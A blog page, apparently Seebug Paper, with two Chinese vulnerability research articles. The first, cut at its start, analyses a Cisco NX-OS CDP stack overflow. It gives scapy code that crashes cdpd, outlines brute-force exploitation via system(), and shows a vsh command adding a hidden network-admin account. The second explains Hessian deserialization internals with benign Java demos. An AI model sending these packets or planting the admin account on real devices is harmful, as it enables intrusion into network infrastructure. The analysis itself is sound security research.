    Refresh time is 60 seconds
    Hold time is 180 seconds

Cisco#conf ter

Cisco(config)# cdp enable

# 比如我前面设置直连的上第一个网口

Cisco(config)# interface ethernet 1/7

Cisco(config-if)# no shutdown

Cisco(config-if)# cdp enable

Cisco(config-if)# end

Cisco# show cdp interface ethernet 1/7

Ethernet1/7 is up

CDP enabled on interface

Refresh time is 60 seconds

Hold time is 180 seconds

然后我们就能通过wireshark直接抓网卡的包，或者通过GNS3抓包，来研究CDP协议的格式。

因为我习惯使用python写PoC，所以我开始研究怎么使用python来发送CDP协议包，然后发现scapy内置了一些CDP包相关的内容。

下面给一个简单的示例：

from scapy.contrib import cdp
from scapy.all import Ether, LLC, SNAP

1 2	from scapy.contrib import cdp from scapy.all import Ether, LLC, SNAP

# link layer
l2_packet = Ether(dst="01:00:0c:cc:cc:cc")
# Logical-Link Control
l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()
# Cisco Discovery Protocol
cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)
deviceid = cdp.CDPMsgDeviceID(val=cmd)
portid = cdp.CDPMsgPortID(iface=b"ens38")
address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))
cap = cdp.CDPMsgCapabilities(cap=1)
cdp_packet = cdp_v2/deviceid/portid/address/cap
packet = l2_packet / cdp_packet
sendp(packet)

# link layer

l2_packet = Ether(dst="01:00:0c:cc:cc:cc")

# Logical-Link Control

l2_packet /= LLC(dsap=0xaa, ssap=0xaa, ctrl=0x03) / SNAP()

# Cisco Discovery Protocol

cdp_v2 = cdp.CDPv2_HDR(vers=2, ttl=180)

deviceid = cdp.CDPMsgDeviceID(val=cmd)

portid = cdp.CDPMsgPortID(iface=b"ens38")

address = cdp.CDPMsgAddr(naddr=1, addr=cdp.CDPAddrRecordIPv4(addr="192.168.1.3"))

cap = cdp.CDPMsgCapabilities(cap=1)

cdp_packet = cdp_v2/deviceid/portid/address/cap

packet = l2_packet / cdp_packet

sendp(packet)

触发漏洞

下一步，就是研究怎么触发漏洞。首先，把cdpd从设备中给取出来，然后把二进制丢到ida里找漏洞点。根据Armis Labs发布的漏洞分析，找到了该漏洞存在于cdpd_poe_handle_pwr_tlvs函数，相关的漏洞代码如下：

if ( (signed int)v28 &gt; 0 )
      {
        v35 = (int *)(a3 + 4);
        v9 = 1;
        do
        {
          v37 = v9 - 1;
          v41[v9 - 1] = *v35;
          *(&amp;v40 + v9) = _byteswap_ulong(*(&amp;v40 + v9));
          if ( !sdwrap_hist_event_subtype_check(7536640, 104) )
          {
            *(_DWORD *)v38 = 104;
            snprintf(&amp;s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&amp;v40 + v9));
            sdwrap_hist_event(7536640, strlen(&amp;s) + 5, v38);
          }
          if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )
          {
            v24 = *(&amp;v40 + v9);
            buginf_ftrace(1, &amp;sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");
          }
          snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&amp;v40 + v9), v24);
          sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);
          *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&amp;v40 + v9);
          ++v35;
          ++v9;
        }
        while ( v9 != v28 + 1 );
      }

if ( (signed int)v28 > 0 )

{

v35 = (int *)(a3 + 4);

v9 = 1;

{

v37 = v9 - 1;

v41[v9 - 1] = *v35;

*(&v40 + v9) = _byteswap_ulong(*(&v40 + v9));

if ( !sdwrap_hist_event_subtype_check(7536640, 104) )

{

*(_DWORD *)v38 = 104;

snprintf(&s, 0x200u, "pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9));

sdwrap_hist_event(7536640, strlen(&s) + 5, v38);

}

if ( sdwrap_chk_int_all(104, 0, 0, 0, 0) )

{

v24 = *(&v40 + v9);

buginf_ftrace(1, &sdwrap_dbg_modname, 0, "pwr_levels_requested[%d] = %d\n");

}

snprintf(v38, 0x3FCu, "1111 pwr_levels_requested[%d] = %d\n", v37, *(&v40 + v9), v24);

sdwrap_his_log_event_for_uuid_inst(124, 7536640, 1, 0, strlen(v38) + 1, v38);

*(_DWORD *)(a1 + 4 * v9 + 1240) = *(&v40 + v9);

++v35;

++v9;

}

while ( v9 != v28 + 1 );

}

后续仍然是根据Armis Labs漏洞分析文章中的内容，只要在cdp包中增加Power Request和Power Level就能触发cdpd程序crash：

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)
power_level = cdp.CDPMsgPower(power=16)
cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

power_req = cdp.CDPMsgUnknown19(val="aaaa"+"bbbb"*21)

power_level = cdp.CDPMsgPower(power=16)

cdp_packet = cdp_v2/deviceid/portid/address/cap/power_req/power_level

漏洞利用

首先看看二进制程序的保护情况：

$ checksec cdpd_9.2.3
    Arch:     i386-32-little

    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RPATH:    '/isan/lib/convert:/isan/lib:/isanboot/lib'

$ checksec cdpd_9.2.3

Arch: i386-32-little

RELRO: No RELRO

Stack: No canary found

NX: NX enabled

PIE: PIE enabled

RPATH: '/isan/lib/convert:/isan/lib:/isanboot/lib'

发现只开启了NX和PIE保护，32位程序。

因为该程序没法进行交互，只能一次性发送完所有payload进行利用，所以没办法泄漏地址。因为是32位程序，cdpd程序每次crash后会自动重启，所以我们能爆破地址。

在编写利用脚本之前需要注意几点：

1.栈溢出在覆盖了返回地址后，后续还会继续覆盖传入函数参数的地址。

 *(_DWORD *)(a1 + 4 * v9 + 1240) = *(&amp;v40 + v9);

1	(_DWORD )(a1 + 4 * v9 + 1240) = *(&v40 + v9);

并且因为在漏洞代码附近有这样的代码，需要向a1地址附近的地址写入值。如果只覆盖返回地址，没法只通过跳转到一个地址达到命令执行的目的。所以我们的payload需要把a1覆盖成一个可写的地址。

2.在cdpd_poe_handle_pwr_tlvs函数中，有很多分支都会进入到cdpd_send_pwr_req_to_poed函数，而在该函数中有一个__memcpy_to_buf函数，这个函数限制了Power Requested的长度在40字节以内。这么短的长度，并不够进行溢出利用。所以我们不能进入到会调用该函数的分支。

      v10 = *(_WORD *)(a1 + 1208);
      v11 = *(_WORD *)(a1 + 1204);
      v12 = *(_DWORD *)(a1 + 1212);
      if ( v32 != v10 || v31 != v11 )

v10 = *(_WORD *)(a1 + 1208);

v11 = *(_WORD *)(a1 + 1204);

v12 = *(_DWORD *)(a1 + 1212);

if ( v32 != v10 || v31 != v11 )

我们需要让该条件判断为False，不进入该分支。因此需要构造好覆盖的a1地址的值。

3.我们利用的最终目的不是执行execve("/bin/bash")，因为没法进行交互，所以就算执行了这命令也没啥用。那么我们能有什么利用方法呢？第一种，我们可以执行反连shell的代码。第二种，我们可以添加一个管理员账号，比如执行如下命令：

/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

1	/isan/bin/vsh -c "configure terminal ; username test password qweASD123 role network-admin"

我们可以通过执行system(cmd)达到目的。那么接下来的问题是怎么传参呢？经过研究发现，在CDP协议中的DeviceID相关的字段内容都储存在堆上，并且该堆地址就储存在栈上，我们可以通过ret来调整栈地址。这样就能成功向system函数传递任意参数了。

最后放一个演示视频：

参考链接

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：https://paper.seebug.org/1154/

作者：叶霖杨 | Categories:技术分享 | Tags: 漏洞分析

没有评论

Hessian 反序列化及相关利用链

2020-07-31

作者：Longofo@知道创宇404实验室
时间：2020年2月20日
英文版本：https://paper.seebug.org/1137/

前不久有一个关于Apache Dubbo Http反序列化的漏洞，本来是一个正常功能（通过正常调用抓包即可验证确实是正常功能而不是非预期的Post），通过Post传输序列化数据进行远程调用，但是如果Post传递恶意的序列化数据就能进行恶意利用。Apache Dubbo还支持很多协议，例如Dubbo（Dubbo Hessian2）、Hessian（包括Hessian与Hessian2，这里的Hessian2与Dubbo Hessian2不是同一个）、Rmi、Http等。Apache Dubbo是远程调用框架，既然Http方式的远程调用传输了序列化的数据，那么其他协议也可能存在类似问题，例如Rmi、Hessian等。@pyn3rd师傅之前在twiter发了关于Apache Dubbo Hessian协议的反序列化利用，Apache Dubbo Hessian反序列化问题之前也被提到过，这篇文章里面讲到了Apache Dubbo Hessian存在反序列化被利用的问题，类似的还有Apache Dubbo Rmi反序列化问题。之前也没比较完整的去分析过一个反序列化组件处理流程，刚好趁这个机会看看Hessian序列化、反序列化过程，以及marshalsec工具中对于Hessian的几条利用链。

关于序列化/反序列化机制

序列化/反序列化机制（或者可以叫编组/解组机制，编组/解组比序列化/反序列化含义要广），参考marshalsec.pdf，可以将序列化/反序列化机制分大体分为两类：

基于Bean属性访问机制
基于Field机制

基于Bean属性访问机制

SnakeYAML
jYAML
YamlBeans
Apache Flex BlazeDS
Red5 IO AMF
Jackson
Castor
Java XMLDecoder
...

它们最基本的区别是如何在对象上设置属性值，它们有共同点，也有自己独有的不同处理方式。有的通过反射自动调用getter(xxx)和setter(xxx)访问对象属性，有的还需要调用默认Constructor，有的处理器（指的上面列出来的那些）在反序列化对象时，如果类对象的某些方法还满足自己设定的某些要求，也会被自动调用。还有XMLDecoder这种能调用对象任意方法的处理器。有的处理器在支持多态特性时，例如某个对象的某个属性是Object、Interface、abstruct等类型，为了在反序列化时能完整恢复，需要写入具体的类型信息，这时候可以指定更多的类，在反序列化时也会自动调用具体类对象的某些方法来设置这些对象的属性值。这种机制的攻击面比基于Field机制的攻击面大，因为它们自动调用的方法以及在支持多态特性时自动调用方法比基于Field机制要多。

基于Field机制

基于Field机制是通过特殊的native（native方法不是java代码实现的，所以不会像Bean机制那样调用getter、setter等更多的java方法）方法或反射（最后也是使用了native方式）直接对Field进行赋值操作的机制，不是通过getter、setter方式对属性赋值（下面某些处理器如果进行了特殊指定或配置也可支持Bean机制方式）。在ysoserial中的payload是基于原生Java Serialization，marshalsec支持多种，包括上面列出的和下面列出的。

Java Serialization
Kryo
Hessian
json-io
XStream
...

就对象进行的方法调用而言，基于字段的机制通常通常不构成攻击面。另外，许多集合、Map等类型无法使用它们运行时表示形式进行传输/存储（例如Map，在运行时存储是通过计算了对象的hashcode等信息，但是存储时是没有保存这些信息的），这意味着所有基于字段的编组器都会为某些类型捆绑定制转换器（例如Hessian中有专门的MapSerializer转换器）。这些转换器或其各自的目标类型通常必须调用攻击者提供的对象上的方法，例如Hessian中如果是反序列化map类型，会调用MapDeserializer处理map，期间map的put方法被调用，map的put方法又会计算被恢复对象的hash造成hashcode调用（这里对hashcode方法的调用就是前面说的必须调用攻击者提供的对象上的方法），根据实际情况，可能hashcode方法中还会触发后续的其他方法调用。

Hessian简介

Hessian是二进制的web service协议，官方对Java、Flash/Flex、Python、C++、.NET C#等多种语言都进行了实现。Hessian和Axis、XFire都能实现web service方式的远程方法调用，区别是Hessian是二进制协议，Axis、XFire则是SOAP协议，所以从性能上说Hessian远优于后两者，并且Hessian的JAVA使用方法非常简单。它使用Java语言接口定义了远程对象，集合了序列化/反序列化和RMI功能。本文主要讲解Hessian的序列化/反序列化。

下面做个简单测试下Hessian Serialization与Java Serialization：

//Student.java
import java.io.Serializable;

public class Student implements Serializable {
    private static final long serialVersionUID = 1L;
    private int id;
    private String name;
    private transient String gender;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }

    public Student() {
        System.out.println("Student default constractor call");
    }

    public Student(int id, String name, String gender) {
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    @Override
    public String toString() {
        return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";
    }
}

//Student.java

import java.io.Serializable;

public class Student implements Serializable {

private static final long serialVersionUID = 1L;

private int id;

private String name;

private transient String gender;

public int getId() {

System.out.println("Student getId call");

return id;

}

public void setId(int id) {

System.out.println("Student setId call");

this.id = id;

}

public String getName() {

System.out.println("Student getName call");

return name;

}

public void setName(String name) {

System.out.println("Student setName call");

this.name = name;

}

public String getGender() {

System.out.println("Student getGender call");

return gender;

}

public void setGender(String gender) {

System.out.println("Student setGender call");

this.gender = gender;

}

public Student() {

System.out.println("Student default constractor call");

}

public Student(int id, String name, String gender) {

this.id = id;

this.name = name;

this.gender = gender;

}

@Override

public String toString() {

return "Student(id=" + id + ",name=" + name + ",gender=" + gender + ")";

}

//HJSerializationTest.java
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class HJSerializationTest {
    public static &lt;T&gt; byte[] hserialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T&gt; T hdeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static &lt;T&gt; byte[] jdkSerialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            ObjectOutputStream output = new ObjectOutputStream(os);
            output.writeObject(t);
            output.flush();
            output.close();
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T&gt; T jdkDeserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            ObjectInputStream input = new ObjectInputStream(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String[] args) {
        Student stu = new Student(1, "hessian", "boy");

        long htime1 = System.currentTimeMillis();
        byte[] hdata = hserialize(stu);
        long htime2 = System.currentTimeMillis();
        System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));

        long htime3 = System.currentTimeMillis();
        Student hstudent = hdeserialize(hdata);
        long htime4 = System.currentTimeMillis();
        System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));
        System.out.println();

        long jtime1 = System.currentTimeMillis();
        byte[] jdata = jdkSerialize(stu);
        long jtime2 = System.currentTimeMillis();
        System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));

        long jtime3 = System.currentTimeMillis();
        Student jstudent = jdkDeserialize(jdata);
        long jtime4 = System.currentTimeMillis();
        System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));
    }
}

//HJSerializationTest.java

import com.caucho.hessian.io.HessianInput;

import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;

import java.io.ByteArrayOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

public class HJSerializationTest {

public static <T> byte[] hserialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

HessianOutput output = new HessianOutput(os);

output.writeObject(t);

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T hdeserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

HessianInput input = new HessianInput(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static <T> byte[] jdkSerialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

ObjectOutputStream output = new ObjectOutputStream(os);

output.writeObject(t);

output.flush();

output.close();

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T jdkDeserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

ObjectInputStream input = new ObjectInputStream(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static void main(String[] args) {

Student stu = new Student(1, "hessian", "boy");

long htime1 = System.currentTimeMillis();

byte[] hdata = hserialize(stu);

long htime2 = System.currentTimeMillis();

System.out.println("hessian serialize result length = " + hdata.length + "," + "cost time：" + (htime2 - htime1));

long htime3 = System.currentTimeMillis();

Student hstudent = hdeserialize(hdata);

long htime4 = System.currentTimeMillis();

System.out.println("hessian deserialize result：" + hstudent + "," + "cost time：" + (htime4 - htime3));

System.out.println();

long jtime1 = System.currentTimeMillis();

byte[] jdata = jdkSerialize(stu);

long jtime2 = System.currentTimeMillis();

System.out.println("jdk serialize result length = " + jdata.length + "," + "cost time：" + (jtime2 - jtime1));

long jtime3 = System.currentTimeMillis();

Student jstudent = jdkDeserialize(jdata);

long jtime4 = System.currentTimeMillis();

System.out.println("jdk deserialize result：" + jstudent + "," + "cost time：" + (jtime4 - jtime3));

}

结果如下：

hessian serialize result length = 64,cost time：45
hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3

jdk serialize result length = 100,cost time：5
jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43

hessian serialize result length = 64,cost time：45

hessian deserialize result：Student(id=1,name=hessian,gender=null),cost time：3

jdk serialize result length = 100,cost time：5

jdk deserialize result：Student(id=1,name=hessian,gender=null),cost time：43

通过这个测试可以简单看出Hessian反序列化占用的空间比JDK反序列化结果小，Hessian序列化时间比JDK序列化耗时长，但Hessian反序列化很快。并且两者都是基于Field机制，没有调用getter、setter方法，同时反序列化时构造方法也没有被调用。

Hessian概念图

下面的是网络上对Hessian分析时常用的概念图，在新版中是整体也是这些结构，就直接拿来用了：

Serializer：序列化的接口
Deserializer ：反序列化的接口
AbstractHessianInput ：hessian自定义的输入流，提供对应的read各种类型的方法
AbstractHessianOutput ：hessian自定义的输出流，提供对应的write各种类型的方法
AbstractSerializerFactory
SerializerFactory ：Hessian序列化工厂的标准实现
ExtSerializerFactory：可以设置自定义的序列化机制，通过该Factory可以进行扩展
BeanSerializerFactory：对SerializerFactory的默认object的序列化机制进行强制指定，指定为使用BeanSerializer对object进行处理

Hessian Serializer/Derializer默认情况下实现了以下序列化/反序列化器，用户也可通过接口/抽象类自定义序列化/反序列化器：

序列化时会根据对象、属性不同类型选择对应的序列化其进行序列化；反序列化时也会根据对象、属性不同类型选择不同的反序列化器；每个类型序列化器中还有具体的FieldSerializer。这里注意下JavaSerializer/JavaDeserializer与BeanSerializer/BeanDeserializer，它们不是类型序列化/反序列化器，而是属于机制序列化/反序列化器：

JavaSerializer：通过反射获取所有bean的属性进行序列化，排除static和transient属性，对其他所有的属性进行递归序列化处理(比如属性本身是个对象)
BeanSerializer是遵循pojo bean的约定，扫描bean的所有方法，发现存在get和set方法的属性进行序列化，它并不直接直接操作所有的属性，比较温柔

Hessian反序列化过程

这里使用一个demo进行调试，在Student属性包含了String、int、List、Map、Object类型的属性，添加了各属性setter、getter方法，还有readResovle、finalize、toString、hashCode方法，并在每个方法中进行了输出，方便观察。虽然不会覆盖Hessian所有逻辑，不过能大概看到它的面貌：

//people.java
public class People {
    int id;
    String name;

    public int getId() {
        System.out.println("Student getId call");
        return id;
    }

    public void setId(int id) {
        System.out.println("Student setId call");
        this.id = id;
    }

    public String getName() {
        System.out.println("Student getName call");
        return name;
    }

    public void setName(String name) {
        System.out.println("Student setName call");
        this.name = name;
    }
}

//people.java

public class People {

int id;

String name;

public int getId() {

System.out.println("Student getId call");

return id;

}

public void setId(int id) {

System.out.println("Student setId call");

this.id = id;

}

public String getName() {

System.out.println("Student getName call");

return name;

}

public void setName(String name) {

System.out.println("Student setName call");

this.name = name;

}

//Student.java
public class Student extends People implements Serializable {
    private static final long serialVersionUID = 1L;

    private static Student student = new Student(111, "xxx", "ggg");
    private transient String gender;
    private Map&lt;String, Class&lt;Object&gt;&gt; innerMap;
    private List&lt;Student&gt; friends;

    public void setFriends(List&lt;Student&gt; friends) {
        System.out.println("Student setFriends call");
        this.friends = friends;
    }

    public void getFriends(List&lt;Student&gt; friends) {
        System.out.println("Student getFriends call");
        this.friends = friends;
    }


    public Map getInnerMap() {
        System.out.println("Student getInnerMap call");
        return innerMap;
    }

    public void setInnerMap(Map innerMap) {
        System.out.println("Student setInnerMap call");
        this.innerMap = innerMap;
    }

    public String getGender() {
        System.out.println("Student getGender call");
        return gender;
    }

    public void setGender(String gender) {
        System.out.println("Student setGender call");
        this.gender = gender;
    }

    public Student() {
        System.out.println("Student default constructor call");
    }

    public Student(int id, String name, String gender) {
        System.out.println("Student custom constructor call");
        this.id = id;
        this.name = name;
        this.gender = gender;
    }

    private void readObject(ObjectInputStream ObjectInputStream) {
        System.out.println("Student readObject call");
    }

    private Object readResolve() {
        System.out.println("Student readResolve call");

        return student;
    }

    @Override
    public int hashCode() {
        System.out.println("Student hashCode call");
        return super.hashCode();
    }

    @Override
    protected void finalize() throws Throwable {
        System.out.println("Student finalize call");

        super.finalize();
    }

    @Override
    public String toString() {
        return "Student{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", gender='" + gender + '\'' +
                ", innerMap=" + innerMap +
                ", friends=" + friends +
                '}';
    }
}

//Student.java

public class Student extends People implements Serializable {

private static final long serialVersionUID = 1L;

private static Student student = new Student(111, "xxx", "ggg");

private transient String gender;

private Map<String, Class<Object>> innerMap;

private List<Student> friends;

public void setFriends(List<Student> friends) {

System.out.println("Student setFriends call");

this.friends = friends;

}

public void getFriends(List<Student> friends) {

System.out.println("Student getFriends call");

this.friends = friends;

}

public Map getInnerMap() {

System.out.println("Student getInnerMap call");

return innerMap;

}

public void setInnerMap(Map innerMap) {

System.out.println("Student setInnerMap call");

this.innerMap = innerMap;

}

public String getGender() {

System.out.println("Student getGender call");

return gender;

}

public void setGender(String gender) {

System.out.println("Student setGender call");

this.gender = gender;

}

public Student() {

System.out.println("Student default constructor call");

}

public Student(int id, String name, String gender) {

System.out.println("Student custom constructor call");

this.id = id;

this.name = name;

this.gender = gender;

}

private void readObject(ObjectInputStream ObjectInputStream) {

System.out.println("Student readObject call");

}

private Object readResolve() {

System.out.println("Student readResolve call");

return student;

}

@Override

public int hashCode() {

System.out.println("Student hashCode call");

return super.hashCode();

}

@Override

protected void finalize() throws Throwable {

System.out.println("Student finalize call");

super.finalize();

}

@Override

public String toString() {

return "Student{" +

"id=" + id +

", name='" + name + '\'' +

", gender='" + gender + '\'' +

", innerMap=" + innerMap +

", friends=" + friends +

'}';

}

//SerialTest.java
public class SerialTest {

    public static &lt;T&gt; byte[] serialize(T t) {
        byte[] data = null;
        try {
            ByteArrayOutputStream os = new ByteArrayOutputStream();
            HessianOutput output = new HessianOutput(os);
            output.writeObject(t);
            data = os.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return data;
    }

    public static &lt;T&gt; T deserialize(byte[] data) {
        if (data == null) {
            return null;
        }
        Object result = null;
        try {
            ByteArrayInputStream is = new ByteArrayInputStream(data);
            HessianInput input = new HessianInput(is);
            result = input.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return (T) result;
    }

    public static void main(String[] args) {
        int id = 111;
        String name = "hessian";
        String gender = "boy";

        Map innerMap = new HashMap&lt;String, Class&lt;Object&gt;&gt;();
        innerMap.put("1", ObjectInputStream.class);
        innerMap.put("2", SQLData.class);

        Student friend = new Student(222, "hessian1", "boy");
        List friends = new ArrayList&lt;Student&gt;();
        friends.add(friend);

        Student stu = new Student();
        stu.setId(id);
        stu.setName(name);
        stu.setGender(gender);
        stu.setInnerMap(innerMap);
        stu.setFriends(friends);

        System.out.println("---------------hessian serialize----------------");
        byte[] obj = serialize(stu);
        System.out.println(new String(obj));

        System.out.println("---------------hessian deserialize--------------");
        Student student = deserialize(obj);
        System.out.println(student);
    }
}

//SerialTest.java

public class SerialTest {

public static <T> byte[] serialize(T t) {

byte[] data = null;

try {

ByteArrayOutputStream os = new ByteArrayOutputStream();

HessianOutput output = new HessianOutput(os);

output.writeObject(t);

data = os.toByteArray();

} catch (Exception e) {

e.printStackTrace();

}

return data;

}

public static <T> T deserialize(byte[] data) {

if (data == null) {

return null;

}

Object result = null;

try {

ByteArrayInputStream is = new ByteArrayInputStream(data);

HessianInput input = new HessianInput(is);

result = input.readObject();

} catch (Exception e) {

e.printStackTrace();

}

return (T) result;

}

public static void main(String[] args) {

int id = 111;

String name = "hessian";

String gender = "boy";

Map innerMap = new HashMap<String, Class<Object>>();

innerMap.put("1", ObjectInputStream.class);

innerMap.put("2", SQLData.class);

Student friend = new Student(222, "hessian1", "boy");

List friends = new ArrayList<Student>();

friends.add(friend);

Student stu = new Student();

stu.setId(id);

stu.setName(name);

stu.setGender(gender);

stu.setInnerMap(innerMap);

stu.setFriends(friends);

System.out.println("---------------hessian serialize----------------");

byte[] obj = serialize(stu);

System.out.println(new String(obj));

System.out.println("---------------hessian deserialize--------------");

Student student = deserialize(obj);

System.out.println(student);

}

下面是对上面这个demo进行调试后画出的Hessian在反序列化时处理的大致面貌（图片看不清，可以点这个链接查看）：

下面通过在调试到某些关键位置具体说明。

获取目标类型反序列化器

首先进入HessianInput.readObject()，读取tag类型标识符，由于Hessian序列化时将结果处理成了Map，所以第一个tag总是M(ascii 77)：

在case 77这个处理中，读取了要反序列化的类型，接着调用this._serializerFactory.readMap(in,type)进行处理，默认情况下serializerFactory使用的Hessian标准实现SerializerFactory：

先获取该类型对应的Deserializer，接着调用对应Deserializer.readMap(in)进行处理，看下如何获取对应的Derserializer：

第一个红框中主要是判断在_cacheTypeDeserializerMap中是否缓存了该类型的反序列化器；第二个红框中主要是判断是否在_staticTypeMap中缓存了该类型反序列化器，_staticTypeMap主要存储的是基本类型与对应的反序列化器；第三个红框中判断是否是数组类型，如果是的话则进入数组类型处理；第四个获取该类型对应的Class，进入this.getDeserializer(Class)再获取该类对应的Deserializer，本例进入的是第四个：

这里再次判断了是否在缓存中，不过这次是使用的_cacheDeserializerMap，它的类型是ConcurrentHashMap，之前是_cacheTypeDeserializerMap，类型是HashMap，这里可能是为了解决多线程中获取的问题。本例进入的是第二个this.loadDeserializer(Class)：

第一个红框中是遍历用户自己设置的SerializerFactory，并尝试从每一个工厂中获取该类型对应的Deserializer；第二个红框中尝试从上下文工厂获取该类型对应的Deserializer；第三个红框尝试创建上下文工厂，并尝试获取该类型自定义Deserializer，并且该类型对应的Deserializer需要是类似xxxHessianDeserializer，xxx表示该类型类名；第四个红框依次判断，如果匹配不上，则使用getDefaultDeserializer(Class)，本例进入的是第四个：

_isEnableUnsafeSerializer默认是为true的，这个值的确定首先是根据sun.misc.Unsafe的theUnsafe字段是否为空决定，而sun.misc.Unsafe的theUnsafe字段默认在静态代码块中初始化了并且不为空，所以为true；接着还会根据系统属性com.caucho.hessian.unsafe是否为false，如果为false则忽略由sun.misc.Unsafe确定的值，但是系统属性com.caucho.hessian.unsafe默认为null，所以不会替换刚才的ture结果。因此，_isEnableUnsafeSerializer的值默认为true，所以上图默认就是使用的UnsafeDeserializer，进入它的构造方法。

获取目标类型各属性反序列化器

在这里获取了该类型所有属性并确定了对应得FieldDeserializer，还判断了该类型的类中是否存在ReadResolve()方法，先看类型属性与FieldDeserializer如何确定：

获取该类型以及所有父类的属性，依次确定对应属性的FIeldDeserializer，并且属性不能是transient、static修饰的属性。下面就是依次确定对应属性的FieldDeserializer了，在UnsafeDeserializer中自定义了一些FieldDeserializer。

判断目标类型是否定义了readResolve()方法

接着上面的UnsafeDeserializer构造器中，还会判断该类型的类中是否有readResolve()方法：

通过遍历该类中所有方法，判断是否存在readResolve()方法。

好了，后面基本都是原路返回获取到的Deserializer，本例中该类使用的是UnsafeDeserializer，然后回到SerializerFactory.readMap(in,type)中，调用UnsafeDeserializer.readMap(in)：

至此，获取到了本例中com.longofo.deserialize.Student类的反序列化器UnsafeDeserializer，以各字段对应的FieldSerializer，同时在Student类中定义了readResolve()方法，所以获取到了该类的readResolve()方法。

为目标类型分配对象

接下来为目标类型分配了一个对象：

通过_unsafe.allocateInstance(classType)分配该类的一个实例，该方法是一个sun.misc.Unsafe中的native方法，为该类分配一个实例对象不会触发构造器的调用，这个对象的各属性现在也只是赋予了JDK默认值。

目标类型对象属性值的恢复

接下来就是恢复目标类型对象的属性值：

进入循环，先调用in.readObject()从输入流中获取属性名称，接着从之前确定好的this._fieldMap中匹配该属性对应的FieldDeserizlizer，然后调用匹配上的FieldDeserializer进行处理。本例中进行了序列化的属性有innerMap（Map类型）、name（String类型）、id（int类型）、friends（List类型），这里以innerMap这个属性恢复为例。

以InnerMap属性恢复为例

innerMap对应的FieldDeserializer为UnsafeDeserializer$ObjectFieldDeserializer：

首先调用in.readObject(fieldClassType)从输入流中获取该属性值，接着调用了_unsafe.putObject这个位于sun.misc.Unsafe中的native方法，并且不会触发getter、setter方法的调用。这里看下in.readObject(fieldClassType)具体如何处理的：

这里Map类型使用的是MapDeserializer，对应的调用MapDeserializer.readMap(in)方法来恢复一个Map对象：

